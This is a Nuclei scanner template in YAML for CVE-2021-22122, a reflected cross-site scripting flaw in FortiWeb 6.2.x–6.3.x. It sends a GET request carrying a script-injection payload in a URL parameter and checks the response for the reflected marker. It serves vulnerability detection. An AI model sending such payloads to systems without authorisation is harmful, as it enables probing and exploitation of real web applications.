33 lines
1.2 KiB
YAML
33 lines
1.2 KiB
YAML
id: CVE-2021-22122
|
|
|
|
info:
|
|
name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS
|
|
author: dwisiswant0
|
|
severity: medium
|
|
description: An improper neutralization of input during web page generation in FortiWeb GUI interface 6.3.0 through 6.3.7 and version before 6.2.4 may allow an unauthenticated, remote attacker to perform a reflected cross site scripting attack (XSS) by injecting malicious payload in different vulnerable API end-points.
|
|
reference: |
|
|
- https://www.fortiguard.com/psirt/FG-IR-20-122
|
|
- https://twitter.com/ptswarm/status/1357316793753362433
|
|
|
|
tags: cve,cve2021,fortiweb,xss
|
|
|
|
# FortiWeb GUI interface may allow an unauthenticated, remote attacker
|
|
# to perform a reflected cross site scripting attack (XSS) by injecting
|
|
# malicious payload in different vulnerable API end-points.
|
|
# -
|
|
# References:
|
|
# - https://www.fortiguard.com/psirt/FG-IR-20-122
|
|
# - https://twitter.com/ptswarm/status/1357316793753362433
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//"
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "nuclei"
|
|
- "No policy has been chosen."
|
|
condition: and
|
|
part: body |